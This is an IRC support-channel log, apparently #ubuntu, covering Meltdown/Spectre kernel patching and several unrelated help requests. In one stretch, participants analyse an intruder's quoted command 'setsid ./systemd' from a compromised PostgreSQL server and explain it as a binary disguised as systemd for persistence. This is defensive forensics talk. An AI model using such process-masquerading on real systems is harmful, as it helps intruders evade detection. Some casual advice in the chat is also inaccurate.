[19:46] <Guest96> Zomaar - what are the commands exactly?
[19:46] <alkisg> sudo apt-get update; sudo apt-get dist-upgrade
[19:46] <zomaar> Guest96: Just upgrade the kernel
[19:46] <alkisg> Guest96, i.e. just normal upgrade mechanism
[19:46] <Guest96> Trying now, thank you!
[19:46] <leftyfb> correct me if I'm wrong, but from wht I understand, this whole cpu bug is only exploitable when you are logged into the machine and not something that can be done remotely right? If that's the case, I don't think people need to worry all that much about patching their personal pc's
[19:47] <zomaar> leftyfb: There was some worry about even javascript code being able to trigger it
[19:47] <jimb_> I think there is proof of javascript being used to exploit the vuln
[19:47] <leftyfb> zomaar: I doubt it. Since nobody has even written/seen an explout for it yet. Apparently it's non-trivial to exploit
[19:47] <Zaliek> leftyfb, That is sort of correct. The security issue is that it allows privilege elevation from unprivleged code
[19:47] <zomaar> leftyfb: Anything that is compiled (JIT) and runs on your system could do it
[19:48] <rik316> nicomachus is that verified by ubuntu anywhere? I'm hesitant to run a script by a random person on production machines?
[19:48] <zomaar> leftyfb: You are probably right
[19:48] <Zaliek> So if someone can get code running on your machine they can exploit it. Combine that with an exploited network service that normally doesn't have a privilege escalation and you're owned
[19:48] <Guest96> Finished both commands - no reboot is required after a kernel update?
[19:48] <zomaar> leftyfb: Side-channel attacks take time to execute too
[19:48] <jimb_> https://react-etc.net/page/meltdown-spectre-javascript-exploit-example
[19:49] <zomaar> leftyfb: Let alone that you have to visit some suspicious site
[19:49] <sw0rdy> nicomachus: is the iso cdimage of 17.10 patched already for meltdown/spectre?
[19:49] <leftyfb> rik316: that project is an open source shell script contributed by from 13 different people. It's safe to run
[19:49] <leftyfb> sw0rdy: unlikely since none of the core kernels have been patched/released yet
[19:49] <leftyfb> sw0rdy: https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:50] <zomaar> That example doesn't do anything :)
[19:51] <zomaar> The only thing the javascript code could ever do would be to exfiltrate data from your system, like keys
[19:51] <zomaar> Not saying that's not bad, but that's the extent
[19:51] <zomaar> E.g. any exploit would go hunting for private keys
[19:51] <sw0rdy> leftyfb: yes I'm reading that already
[19:52] <Guest96> Zomaar - I see that the kernel is still reported "3.13.0-135-generic" after running both commands - do I need to reboot for the new kernel to take over?
[19:52] <sw0rdy> leftyfb: what does CRD mean in that page
[19:52] <leftyfb> sw0rdy: don't know
[19:53] <zomaar> Guest96: Yes
[19:53] <zomaar> Guest96: But you can check /boot
[19:53] <Guest96> how?
[19:53] <zomaar> Guest96: Just ls /boot to see if the new kernel is installed
[19:54] <Guest96> I see "abi-3.13.0-139-generic" in the list, rebooting
[19:55] <jimb_> Coordinated Release Date (or something like that)
[19:56] <Guest96> After reboot, kernel is reported "3.13.0-139-generic" - thank you so much Zomaar!
[19:56] <sw0rdy> jimb_: yes I got that towards the end of that page
[19:56] <sw0rdy> but so, should I wait for a new iso cdimage thats already patched to install ubuntu?
[19:57] <Guest96> If I understand correctly, 3.13.0-139-generic is for Meltdown only, Spectre isn't fixed yet, right?
[19:57] <zomaar> Not much reason to
[19:57] <sw0rdy> even though it says 17.10 has received the patch update
[19:58] <zomaar> Correct
[19:58] <Zaliek> Spectre is probably only fixable via microcode
[19:58] <Guest96> Thank you!
[19:58] <Zaliek> So if you have unsupported hardware that the MFG doesn't release new BIOS updates for you're probably SOL
[19:58] <Guest96> We are on AWS
[19:59] <Guest96> So AWS will update the firmware, right?
[19:59] <zomaar> For any Linux system the typical attack path would be first unprivileged user access and then exfiltration of keys, so you need to be breached first
[19:59] <Zaliek> I know Intel released some microcode updates but they didn't say if that was to fix meltdown or spectre
[20:00] <Zaliek> Guest96, AWS updated the hypervisors, you still need to patch your kernel to prevent exploits inside your OS
[20:00] <nicomachus> too busy selling stock
[20:01] <Guest96> So the 3.13.0-139-generic to which I patched now, will protect from Spectre too? Or will there be another kernel update?
[20:01] <Zaliek> Only meltdown as far as I know. Information about patches for Spectre are rather... ethereal right now
[20:02] <zomaar> It is said that despite its many glaring (and occasionally fatal) inaccuracies, the Hitchhiker's Guide to the Galaxy itself has outsold the Encyclopedia Galactica because it is slightly cheaper, and because it has the words 'DON'T PANIC' in large, friendly letters on the cover.
[20:02] <TheSilentLink> I'm on 4.13.0-25 and I have gotten an update for kernel 4.13.0-16 is that an older kernel?
[20:03] <sw0rdy> Zaliek: should I just go ahead and install the unpatched ubuntu 17.10 cdimage I grabbed yesterday and just update the system after installing it, in order to get it patched for meltdown
[20:04] <Zaliek> Yes, and make sure you reboot after upgrading
[20:04] <zomaar> sw0rdy: Whatever way you like, it won't change the outcome in any way
[20:04] <dabba> Zaliek, nice pun a while back :P
[20:04] <sw0rdy> zomaar: I was thinking I might want to wait for them to put out an already patched cdimage
[20:04] <truthseeker1990> Hi Again, I found another command from the hacker. What will "setsid ./systemd" do??
[20:05] <zomaar> sw0rdy: It's all irrelevant you know
[20:05] <Zaliek> It's not a remote exploit, so no real danger installing then patching before installing any software
[20:05] <zomaar> sw0rdy: But if you like a clean install in one go, go for it
[20:05] <dabba> sw0rdy, you'll have the vuln for a very short period of time i think it's find to install and patch
[20:05] <TheSilentLink> Which kernel patches meltdown?
[20:05] <Guest96> Thank you so much, this was really helpful! Have a good one!
[20:05] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[20:06] <zomaar> 4.4.0-108
[20:06] <zomaar> 4.13.0-25
[20:06] <sw0rdy> yep, thats the one :)
[20:07] <Zaliek> truthseeker1990, If you've been hacked then wipe and reinstall from backup. No sense trying to find and remove whatever they've hid. You can never be sure
[20:07] <TheSilentLink> zomaar: this is what I don't understand today I got an upgrade to install 4.13.0-15
[20:07] <TheSilentLink> 4.13.0-16*
[20:07] <Jardayn> Did the Meltdown/Spectre patch come out for 1404?
[20:07] <TheSilentLink> which according to the website doesn't have the patch
[20:07] <Zaliek> Unless you're just investigating what they did ofc
[20:08] <Zaliek> Do you know how they got console access?
[20:08] <truthseeker1990> zaliek, already wiped. Trying to figure out what they did
[20:08] <Zaliek> Ah okay
[20:08] <truthseeker1990> Yes, I had a postgresql that was badly configured
[20:08] <truthseeker1990> they came in via that
[20:09] <truthseeker1990> then made themselves superuser, locked me out
[20:09] <truthseeker1990> and ran C commands from within pg
[20:09] <truthseeker1990> Any idea what setsid ./systemd might do?
[20:10] <oerheks> man setsid .. but ./systemd is not a valid folder on ubuntu??
[20:10] <SimonNL>  [20:10] <truthseeker1990> oerheks I thought it is? A quick google search brought up tons of reference to systemd?
[20:11] <Zaliek> "setsid runs a program in a new session"
[20:11] <leftyfb> it depends on the pwd
[20:11] <zomaar> truthseeker1990: Apparently they are restarting the system daemon
[20:11] <truthseeker1990> Why would they do that?
[20:11] <zomaar> truthseeker1990: Maybe to take over more services
[20:12] <leftyfb> truthseeker1990: oerheks: they were running what was probably a modified/hacked version of systemd to allow them remote control and/or escelated privs
[20:12] <truthseeker1990> Wtf
[20:12] <truthseeker1990> remote control?
[20:12] <truthseeker1990> so they could still be there?
[20:12] <zomaar> Yes well they would set themselves up for better access
[20:12] <leftyfb> Not if you wiped the machine like you were supposed to
[20:12] <truthseeker1990> I closed the server, but i took a snapshot before and restored another instance with that snapshot
[20:12] <truthseeker1990> coz i wanted to see what they did :(
[20:13] <zomaar> truthseeker1990: They were apparently planning to keep the hacked version running for a while
[20:14] <Zaliek>  ./filename usually is used to run a script
[20:14] <donofrio> anyone know how to get my usb dvi's to not mirror? https://apaste.info/caxz
[20:14] <Zaliek> any idea what folder that was run in?
[20:14] <zomaar> truthseeker1990: This can allow hiding of processes and so on
[20:14] <dj-death> Hi all
[20:14] <truthseeker1990> I dont see any logs of them bringing in the hacked version of systemd though. I know they ran other code because they downloaded an image and extracted an executable from it and ran that. But nothing about systemd
[20:14] <dj-death> I'm trying to update meson using the backports on 16.04
[20:15] <dj-death> but it's still picking up meson 0.29 instead of 0.40 from backports
[20:15] <dj-death> https://pastebin.com/ZKgK2N5e
[20:15] <dj-death> any idea?
[20:15] <zomaar> But what Zaliek says, there is no reason to do ./systemd unless it is a custom version
[20:15] <leftyfb> truthseeker1990: to be honest, this isn't the best place to discuss this. Wipe your system and get it back into production from backups or snapshots. Other than that, maybe try #ubuntu-security or the like for help with forensics
[20:15] <jimb_> The executable, once ran, could have went and gathered other 'utilities' for them.
[20:16] <truthseeker1990> Ok, thanks for the help guys. Will wipe and shut everything down. jimb_ that could explain where the systemd comes from
[20:17] <Zaliek> they could have been trying to run something as "systemd" so you wouldn't notice it in the list of processes
[20:17] <zomaar> dj-death: apt install meson/xenial-backports
[20:18] <dj-death> zomaar: thanks a lot !
[20:18] <Jardayn> Did the Meltdown/Spectre patch come out for 1404? I'm on 3.13 Kernel
[20:18] <sononuovo> hello
[20:18] <sononuovo> sorry im not speak english
[20:18] <zomaar> yes 3.13.0-139
[20:18] <sononuovo> ask: know channel italian ubuntu?
[20:19] <leftyfb> !it | sononuovo
[20:19] <sononuovo> channel kubuntu?
[20:19] <leftyfb> !it | sononuovo
[20:20] <sononuovo> thanks
[20:20] <Jardayn> zomaar, thanks. I can't get it via apt-get upgrade
[20:20] <ioria> Jardayn, sudo apt-get dist-upgrade
[20:20] <zomaar> Jardayn: dist-upgrade
[20:21] <sononuovo> leftyfb sorry not fuction comand !it
[20:21] <leftyfb> sononuovo: /join #ubuntu-it
[20:22] <sononuovo> yes im indecise kubuntu, ubuntu, elementary, depphin
[20:22] <sononuovo> im not use linux im noob XD
[20:22] <leftyfb> sononuovo: /join #ubuntu-it
[20:22] <sononuovo> ok u.u
[20:22] <zomaar> sononuovo: You can just try
[20:22] <Jardayn> zomaar, won't that update other packages as well?
[20:23] <leftyfb> sononuovo: do not private message me please
[20:23] <zomaar> Jardayn: Generally only stuff like the kernel
[20:23] <sononuovo> ok
[20:23] <zomaar> sononuovo: Kubuntu is nice
[20:23] <sononuovo> use google traslate help me ok?
[20:23] <sononuovo> channel it no responde all away
[20:24] <zomaar> sononuovo: What do you want to know?
[20:25] <sononuovo> I would like to put some distros, they are all excellent, but I would also like to play with them
[20:25] <sononuovo> im like kubunu, elementary, dephin lubuntu etc.
[20:25] <zomaar> sononuovo: You can install multiple on the same computer if you wanted
[20:26] <Jardayn> zomaar, okay, upgrade got me there without dist-
[20:26] <sononuovo> I do not have a good computer eh ... I just want a distro that I like, what do you use?
[20:27] <zomaar> Me Kubuntu 16.04 but it is buggy I am hoping for later version
[20:27] <FDE1X0A2> sononuovo: it's important for you to find the distro that you yourself like
[20:27] <zomaar> I want to upgrade soon to 16.10 or 17.04
[20:27] <zomaar> Or I just need later KDE
[20:27] <FDE1X0A2> sononuovo: so that calls for a bit of manual experimentation
[20:27] <leftyfb> zomaar: neither of those versions are supported
[20:28] <leftyfb> zomaar: pick either 16.04 or 17.10
[20:28] <ioria> dead
[20:28] <zomaar> Support not necessary
[20:28] <dragosdrgm12> hi
[20:28] <zomaar> Just transition
[20:28] <leftyfb> zomaar: it is if you are asking for support with it here
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <dragosdrgm12> how to root ubuntu??
[20:28] <zomaar> I rarely ask for support
[20:28] <FDE1X0A2> dragosdrgm12: what do you mean by root?
[20:28] <leftyfb> zomaar: you're asking now
[20:28] <zomaar> I'm not asking anything
[20:29] <dragosdrgm12> netdiscover function
[20:29] <kostkon> !root | dragosdrgm12
[20:29] <leftyfb> dragosdrgm12: are you trying to "hack" a computer?
[20:29] <dragosdrgm12> yes test on me
[20:29] <leftyfb> dragosdrgm12: go away please
[20:29] <FDE1X0A2> dragosdrgm12: wrong channel...
[20:29] <dragosdrgm12> only for test
[20:30] <zomaar> sononuovo: It will take time
[20:30] <dragosdrgm12> please
[20:30] <leftyfb> dragosdrgm12: go away please
[20:30] <dragosdrgm12> ?
[20:30] <Zaliek> what even
[20:31] <zomaar> sononuovo: You just have to test
[20:31] <zomaar> sononuovo: What you like best
[20:32] <sononuovo> diffuclt
[20:32] <zomaar> sononuovo: You can't do it in 10 days
[20:32] <ioria> sononuovo, upu wanna play ? install win in vm
[20:32] <sononuovo> kubuntu + plasma desktop = im like
[20:33] <sononuovo> minecraft  linux
[20:33] <sononuovo> is good
[20:33] <sononuovo> not have serial key win 10
[20:33] <FDE1X0A2> sunonuovo: you don't need the serial key
[20:33] <akik> is apt downloading many packages at once? can i limit that to only one download at a time?
[20:34] <sononuovo> I want to reuse linux, I would like to enjoy it and learn
[20:34] <zomaar> sononuovo: normal Ubuntu 16.04 is last big release with Unity, maybe use it while you can
[20:34] <FDE1X0A2> zomaar: you can still install unity desktop if you want, I think
[20:35] <leftyfb> sononuovo: https://kubuntu.org/getkubuntu/ there ya go
[20:35] <sononuovo> what can you tell me about kubuntu? beyond that bug you wrote
[20:35] <Richard_Cavell> Hi everyone. I'm on 16.04 MATE 64-bit and I want to upgrade to 17.10, but sudo apt-get dist-upgrade isn't doing it
[20:35] <leftyfb> sononuovo: https://kubuntu.org/
[20:36] <FDE1X0A2> sunonuovo: it's basically Ubuntu with KDE plasma suite instead
[20:36] <ioria> Richard_Cavell, you know why
[20:36] <FDE1X0A2> Richard_Cavell: try sudo do-release-upgrade
[20:36] <Richard_Cavell> No new release found.
[20:37] <zomaar> Kubuntu is just "normal" desktop much like Windows but quiet, not the chatter of Windows 10
[20:37] <ioria> Richard_Cavell,  lts != not-lts
[20:37] <sononuovo> what fde1x0a2
[20:38] <zomaar> sononuovo: Not sure what to tell you about Kubuntu
[20:38] <zomaar> sononuovo: There is not much to say
[20:38] <tapanik> ubuntu 16.04
[20:38] <sononuovo> ok
[20:38] <zomaar> sononuovo: It is still just Ubuntu
[20:39] <tapanik> ubuntu is great, i dont play pc games
[20:39] <sononuovo> ok
[20:39] <zomaar> Kubuntu = wide system, Ubuntu is smaller environment, a bit more "comfy"
[20:39] <FDE1X0A2> zomaar: what do you mean by 'wide system'?
[20:40] <zomaar> Softer colors, friendlier appearance
[20:40] <tapanik> no virus for me thanx ubuntu
[20:40] <FDE1X0A2> sononuovo: all there is to it is that Kubuntu is a Ubuntu derivative with KDE plasma as the desktop environment....
[20:40] <tapanik> great for media too
[20:40] <zomaar> Breeze style is a bit hard and cold, Unity is more kiosk-like, warm and friendly
[20:41] <tapanik> windows10 buu
[20:41] <FDE1X0A2> we're going off topic guys
[20:41] <zomaar> Unity inspires closeness, Breeze inspires openness
[20:41] <zomaar> Unity was developed for netbooks, so "smaller" environment
[20:42] <zomaar> I think Unity is better for focussing on a single task
[20:44] <zomaar> It is incredible how easy it is to go offtopic in #ubuntu while talking about Ubuntu.
[20:44] <zomaar> :).
[20:44] <FDE1X0A2> zomaar: this is actually a support channel, not for idle chatting
[20:45] <zomaar> It is even hard to see this as not-support
[20:45] <TJ-> If you want to discuss Ubuntu use #ubuntu-discuss
[20:46] <FDE1X0A2> you can use alis to search for the specific offtopic channels (eg. ubuntu-offtopic)
[20:46] <DexterF> hi
[20:47] <zomaar> Maybe we should rename this #ubuntu-support so that in #ubuntu you can talk about Ubuntu
[20:47] <zomaar> ;-)
[20:47] <ioria> i'am a bit high today , but i'am enjoying the discussion :þ
[20:47] <DexterF> to run a WPA2 hostapd access point, do I need wpa_supplicant on it? w_s package description says "client tool"
[20:47] <TJ-> ioria: you're on top of a pile of junked Intel CPUs? :p
[20:48] <ioria> TJ-, absolutely
[20:48] <mg55`> anyone running 17.11?
[20:48] <alkisg> Nah, because it's 17.10 :D
[20:48] <leftyfb> mg55`: since there is no such version, no
[20:48] <zomaar> I tried 18.06 the other day, it was nice
[20:48] <TJ-> DexterF: no, wpa_suppplicant not Depend-ed on by hostapd
[20:48] <nacc> zomaar: also not a version.
[20:48] <leftyfb> zomaar: there's no version 1806
[20:48] <zomaar> Hahaha
[20:49] <mg55`> says in the title versions 14.04, 16.04, 17.04, and 17.10
[20:49] <nacc> mg55`: yes, and you said 17.11
[20:49] <mg55`> so ther has to be
[20:49] <leftyfb> mg55`: correct
[20:49] <mg55`> oh, anyone running 17.10 then
[20:49] <leftyfb> mg55`: there is versions 14.04, 16.04, 17.04(unsupported), and 17.10. But no 17.11
[20:50] <leftyfb> mg55`: yes, there are people running 17.10.
[20:50] <dax> zomaar: the only channel I know that has #foo and #foo-support ends up with support chat in both and it's quite a mess :P
[20:50] <leftyfb> mg55`: did you have an actual support question?
[20:50] <Zaliek> mg55`, Better to just ask a question than try to setup one
[20:50] <mg55`> any cats or dogs running it vesides ppl? lol
[20:50] <nacc> mg55`: please go somewhere else with offtopic chitchat.
[20:51] <Rembo> hello everyone, where can i edit dns zone file on ubuntu 14 ? many thanks
[20:51] <zomaar> dax: But it would be fun seeing everyone direct people to #foo-support, because it would be a never-ending task
[20:51] <FDE1X0A2> Rembo: DNS zone?
[20:52] <nacc> Rembo: you are running a DNS server?
[20:52] <TJ-> Rembo: /etc/bind/
[20:52] <Rembo> FDE1X0A2: yes, like bind or named configuration file?
[20:52] <Rembo> i have ubuntu with zimbra installed and i need to make some modification in dns zone, i cannot find named or bind file location
[20:52] <mg55`> i was wanted to know if you can run 17.10 on a format other than ext4
[20:53] <FDE1X0A2> mg55: yes you can
[20:53] <zomaar> mg55`: You can probably select ext3 and xfs by default
[20:53] <mg55`> cause i want it as a storage device as will, so i want to but it on exfat
[20:54] <zomaar> mg55`: That's not possible
[20:54] <mg55`> it is removable
[20:54] <zomaar> mg55`: Is it on usb stick?
[20:54] <mg55`> SDD drive
[20:54] <FDE1X0A2> zomaar: installing it on a storage device is possible
[20:55] <mg55`> external
[20:55] <zomaar> mg55`: Then you need to have 2 partitions
[20:55] <zomaar> mg55`: One for the system and one for the data
[20:55] <sononuovo> zoomar sorry, visit link
[20:55] <zomaar> mg55`: But the system partition needs to support Linux permissions
[20:56] <zomaar> As far as I can tell in any case
[20:56] <mg55`> ok, sounds like a plan then
[20:56] <zomaar> I can't watch YouTube, sorry (sononuovo)
[20:56] <Zaliek> Is exfat still only supported by FUSE?
[20:56] <Rembo> any help?
[20:56] <mg55`> i will partition a fat partions so i can plug it in to other window devices
[20:57] <mg55`> just don't have much space
[20:57] <sononuovo> ok
[20:57] <mg55`> but any rate
[20:57] <zomaar> mg55`: That is why I was asking USB stick, because Windows has issues with USB sticks and 2 partitions, but not if only one is readable, so it doesn't matter
[20:57] <skinux> IS there anything that can be done about embedded videos having a low volume when my volume is set to max? Internal speakers of a laptop.
[20:58] <mg55`> i always loose usb sicks
[20:58] <mg55`> try to avoid em
[20:59] <Zaliek> skinux, go to System Settings -> Sound -> Applications tab while playing and check to make sure the application volume is at max
[20:59] <zomaar> skinux: pactl -- set-sink-volume 0 200%
[20:59] <zomaar> sorry, pactl --set-sink-volume 0 200%
[20:59] <mg55`> this might be off topic as well, but anyone successfully cloned ubuntu ext4 with clonezilla and restored it?
[21:00] <Zaliek> If that's correct, you could check the box "Allow louder than 100%" in the sound settings
[21:00] <zomaar> mg55`: Windows will just skip partition types it cannot read
[21:01] <zomaar> mg55`: But it might still show them if on SSD
[21:01] <zomaar> mg55`: So you could put the exfat partition in front
[21:01] <Rembo> anyone can help me?
[21:02] <zomaar> mg55`: Cloning Linux is not an issue
[21:02] <mg55`> i never tried it
[21:03] <zomaar> There is just little reason to make disk *images*
[21:03] <zomaar> Because you can just copy all files, chroot and reinstall grub
[21:03] <skinux> I don't have a system settings menu option. And the settings icon doesn't bring up an option for sound
[21:03] <mg55`> cloned windows many times, but never ubuntu or any linux distro
[21:04] <FDE1X0A2> mg55: why can't you just use dd?
[21:04] <zomaar> dd is not safe if you have LVM
[21:04] <mg55`> dd?
[21:04] <zomaar> dd = slow clonezilla
[21:06] <mg55`> never went in to dd mode, i save and restore parts
[21:06] <zomaar> mg55`: (There is also Windows tools to hide unwanted partitions...)
[21:07] <mg55`> yea, i hide em, easy
[21:08] <mg55`> set id = 07 override in diskpart most of the time works
[21:09] <mg55`> then if you want em back just assign
[21:09] <mg55`> or set id = 17 override
[21:09] <mg55`> but that is windows, not ubuntu
[21:10] <rtyuipop^> hi there
[21:12] <lysett> hi can you mark #1742293 as duplicate of #1705345
[21:13] <zomaar_> ok so make your exfat 7 or whatever it needs, install GRUB in the mbr, make Linux 83 or whatever it wants, and you can install Linux whatever way you want
[21:13] <lysett> killing plymouth helps hanging kernel updates
[21:14] <zomaar_> one partition, two partitions, one partition with LVM
[21:14] <FDE1X0A2> mg55: If you're using an external SSD...you can probably get away with it...
[21:14] <FDE1X0A2> mg55: thumbdrive on the other hand...
[21:14] <rtyuipop^> why i can find php7.02 ?
[21:15] <rtyuipop^> why i can' t
[21:15] <nacc> rtyuipop^: 7.02?
[21:15] <zomaar_> php7.0/xenial-updates,xenial-updates,xenial-security,xenial-security 7.0.22-0ubuntu0.16.04.1 all
[21:15] <rtyuipop^> i m looking for php 7.0.4
[21:15] <rtyuipop^> package on ubuntu 16.04 but can't find
[21:15] <nacc> rtyuipop^: 7.0.4 is old and insecure
[21:16] <rtyuipop^> which i have to install instead ?
[21:16] <nacc> rtyuipop^: as zomaar_ said, 7.0.22 is what is currently supported
[21:16] <nacc> rtyuipop^: just install the 'php' package and it will dtrt
[21:17] <nacc> zomaar_: rtyuipop^: 7.0.25 is in x-proposed, as well
[21:17] <nacc> i just have't gotten around to verifying it
[21:17] <rtyuipop^> i got this one by defautl
[21:17] <rtyuipop^> Unpacking php7.0 (7.0.22-0ubuntu0.16.04.1) ...
[21:17] <zomaar_> Haha my only PHP using system is still on 5
[21:17] <nacc> rtyuipop^: ok
[21:17] <nacc> rtyuipop^: so you have PHP 7.0.22, then
[21:17] <rtyuipop^> php 7.0 instead of 7.0.2
[21:18] <nacc> rtyuipop^: what?
[21:18] <Minelli> Good afternoon everyone.
[21:18] <Minelli> Can anyone tell me how to configure a virtual interface (example eth0: 0) in Ubuntu 17.10 using netplan?
[21:18] <nacc> rtyuipop^: do you know how PHP versioning works?
[21:18] <rtyuipop^> no
[21:18] <nacc> rtyuipop^: then why do you insist on a version you don't unnderstannd?
[21:18] <zomaar_> Minelli: No clue what netplan is, but eth0:0 is more of an alias than a virtual interface though
[21:18] <nacc> rtyuipop^: 7.0.2 is the 2nd update release of 7.0. 7.0.22 is the *22nd* update release.
[21:19] <nacc> rtyuipop^: you are very unlikely to actually need 7.0.2
[21:19] <rtyuipop^> well i m trying to install magento
[21:19] <rtyuipop^> and it require the version php 7.0.2
[21:19] <Minelli> @zomaar Yes, exactly. But do you have any idea how to do it on the netplan?
[21:20] <nacc> rtyuipop^: where do you see this?
[21:20] <zomaar_> Minelli: You mean it won't "take" your interface?
[21:20] <nacc> rtyuipop^: if they actually require it, you shouldn't use magento. 7.0.2 has know security vulnerabilities.
[21:21] <zomaar_> Minelli: Under the hood, eth0:0 is still eth0
[21:21] <zomaar_> Minelli: iptables also chokes on eth0:0
[21:22] <rtyuipop^> here is what i find
[21:22] <rtyuipop^> http://devdocs.magento.com/guides/v2.1/install-gde/system-requirements-tech.html
[21:22] <Minelli> zomaar: I can not configure an interface with 2 IPs and 2 Gateways as I did before in ubuntu.
[21:22] <nacc> rtyuipop^: which says, 7.02, 7.0.4, 7.0.6-7.0.X
[21:22] <nacc> *7.0.2, sorry
[21:23] <zomaar_> What is netplan then?
[21:23] <rtyuipop^> yes that's what i said too
[21:23] <zomaar_> I have a system with 2 IPs and 2 Gateways using aliases, but it is Debian
[21:24] <nacc> rtyuipop^: ... you said you needed 7.0.2, then 7.0.4
[21:24] <nacc> rtyuipop^: which is not true.
[21:24] <zomaar_> And I use /etc/network/interfaces and require a secondary routing table
[21:24] <rtyuipop^> well when i do php --version
[21:24] <rtyuipop^> i got this
[21:24] <rtyuipop^> HP 7.0.22-0ubuntu0.16.04.1 (cli) ( NTS )
[21:25] <nacc> rtyuipop^: what arenn't you understanding?
[21:25] <nacc> rtyuipop^: it says 7.0.6 - 7.0.x are supported
[21:25] <nacc> rtyuipop^: 7.0.22 is in that range.
[21:25] <rtyuipop^> is it good to install magento ?
[21:25] <nacc> alright i'm done
[21:25] <FDE1X0A2> lol
[21:25] <nacc> rtyuipop^: good luck to you
[21:25] <rtyuipop^> because
[21:25] <rtyuipop^> i got his error
[21:25] <rtyuipop^> https://pastebin.ubuntu.com/26362425/
[21:25] <zomaar_> Minelli: There was something about alias support being removed from ifconfig package?
[21:25] <rtyuipop^> when i m trying to install to the webpage
[21:26] <rtyuipop^> access
[21:26] <zomaar_> Minelli: isc-dhcp-client also chokes on aliases
[21:27] <xs2> does anyone know of like a little taskbar plugin outside of browser (like xfce panel plugins) that lets me launch firefox in deferent modes
[21:27] <xs2> does such a thing exist? if not, can I use something else to achieve the same thing?
[21:28] <masterkey_> out tap
[21:28] <jeffmr> Need a little help.
[21:28] <jeffmr> Installed ubuntu 16.04 ls and can't open gnome-terminal
[21:28] <zomaar_> xs2: You can just add custom applications to your menu right
[21:28] <jeffmr> same with chromium which I installed from ubuntu software center.
[21:28] <ph0b0s> so... 4.4.0-109 are there any hotpatches planned, I am on 16.04 on an L450 thinkpad and since I updated to 108 and 109 afterwards the system has gone crazy. It cannot display proper resolution on 2nd screen of the MST (intel gpu) and I have lost Qt window skins. Also when I have the mini dp plugged in, booting takes really long time
[21:28] <jeffmr> Anyone have any ideas?
[21:29] <FDE1X0A2> Anyone here knows how I can (actually) completely disable the microphone? Blacklisting snd_hda_intel through /etc/modprobe.d also disables output audio. Will muting is in volume settings suffice?
[21:29] <lysett> rtyuipop^: http://devdocs.magento.com/guides/v2.2/install-gde/system-requirements-tech.html#php
[21:29] <FDE1X0A2> it*
[21:30] <xs2> zomaar_: yea I'd need to figure out a way how to edit firefox config files
[21:32] <FDE1X0A2> xs2: what mode are you talking about? private?
[21:33] <zomaar_> FDE1X0A2: You could use PulseAudio to suspend the source
[21:33] <xs2> FDE1X0A2: like make your own custom mode, like say mode 1 is noscript enabled, traffic via vpn, forbid tracking ... mode 2 would be the opposite. that's just a dumb example
[21:33] <zomaar_> suspend-source SOURCE 1|0
[21:33] <zomaar_> FDE1X0A2: see man pactl
[21:34] <FDE1X0A2> zomaar_: can you elaborate?
[21:34] <zomaar_> No, see the man page
[21:34] <akik> xs2: if xfce uses the .desktop files, you'll find examples in /usr/share/applications
[21:34] <FDE1X0A2> xs2: Jesus christ, I've never heard of anyone doing that
[21:34] <FDE1X0A2> zomaar_: RTFM in practice.
[21:35] <zomaar_> Well I would just copy, so you might as well read the source
[21:35] <zteam> Hi, I have a very strange error, then trying to open any folder on the desktop by trying to doubleclick on them, any time I try to I get the error: cannot open folder on desktop, free desktop bus not ready, browsing the same folders, with nautilus, works fine however, I checked the permissions olf these folders as well, nothing strange there either, this is on Ubuntu 17.10, whats going on here?
[21:35] <Minelli> zomaar_ Ubuntu no longer uses / etc / network / interfaces new format and location /etc/netplan/xxxx.yaml
[21:35] <zomaar_> Minelli: Oh sorry, I had forgotten that
[21:36] <zomaar_> However isn't netplan an interface or wrapper to underlying technologies?
[21:36] <zomaar_> Is /etc/network/interfaces completely unavailable?
[21:36] <akik> zomaar_: no need to apologize, /etc/network/interfaces is still used in current versions
[21:37] <xs2> FDE1X0A2: maybe you're deaf
[21:37] <zomaar_> Or does netplan only support systemd-networkd and network-manager?
[21:38] <FDE1X0A2> xs2: ?
[21:40] <zomaar_> I heard talk before about alias support getting dropped from ifconfig as well, or maybe that was a bug
[21:41] <zomaar_> (I don't have much taste for netplan myself..., it only seems meant to support systemd-networkd?)
[21:42] <jeffmr> Anyone know how to set the locale to utf-8?
[21:42] <zomaar_> Minelli: In any case it is possible to set up your own devices yourself purely using the "ip" command
[21:43] <zomaar_> Minelli: You would need to write your own systemd service + script and it's actually quite easy
[21:45] <Minelli> zomaar_ I'm going to take the test. Thank
[21:45] <zomaar_> Minelli: type=oneshot && remainafterexit = yes
[21:46] <zomaar_> Minelli: also need to hook into network.target etc
[21:47] <zomaar_> Minelli: and provide network-online.target, maybe it is not so easy
[21:47] <Minelli> Thanks.
[21:51] <jeffmr> Well that was it for gnome-terminal.  I had to generate the locale for utf-8.
[21:52] <jeffmr> Chromium still not launching though.
[21:52] <akik> jeffmr: you can change the system locale in /etc/default/locale
[21:52] <zomaar_> jeffmr: You used dpkg-reconfigure locales right
[21:52] <jeffmr> no
[21:53] <zomaar_> Did your install fail in any way?
[21:53] <jeffmr> No, but it took a long time to do it.
[21:53] <zomaar_> Seems like you might be in for a ride
[21:54] <jeffmr> I did sudo local-gen en_US.UTF-8 and update-locale in the file you mentioned and restarted.
[21:54] <zomaar_> oh right
[21:54] <jeffmr> It also fixed my steam problem that was complaining of the same thing.
[21:56] <zomaar_> You had left before I could give you the dpkg-reconfigure command
[21:56] <jeffmr> What does that do.  For all programs or something?
[21:57] <zomaar_> No it just allows you to select the locales you want and then generates them
[21:57] <jeffmr> Too late to do it now?
[21:57] <zomaar_> also run dpkg --configure -a, just in case, but that probably won't help
[21:57] <zomaar_> No you can do it again
[21:59] <jeffmr> It looks like en_US.UTF-8 is already installed.
[21:59] <zomaar_> You just did that
[21:59] <jeffmr> Right.  What else would I want?
[21:59] <zomaar_> For a running system? Nothing
[21:59] <zomaar_> Not trying to make you do useless work
[21:59] <b00jum> i'm want to remap capslock to ctrl/esc using setxkbmap and xcape
[21:59] <b00jum> this is what i tried in terminal:
[21:59] <b00jum> setxkbmap -option 'caps:ctrl_modifier' && xcape -e 'Caps_Lock=Escape'
[22:00] <b00jum> but that does absolutely nothing. any idea what i might be doing wrong?
[22:00] <zomaar_> Well I guess there is the "C" locale but
[22:00] <jeffmr> zomaar_, what about chromium?  Any idea why that won't launch?
[22:00] <zomaar_> No that's not part of anything
[22:00] <zomaar_> You have console output?
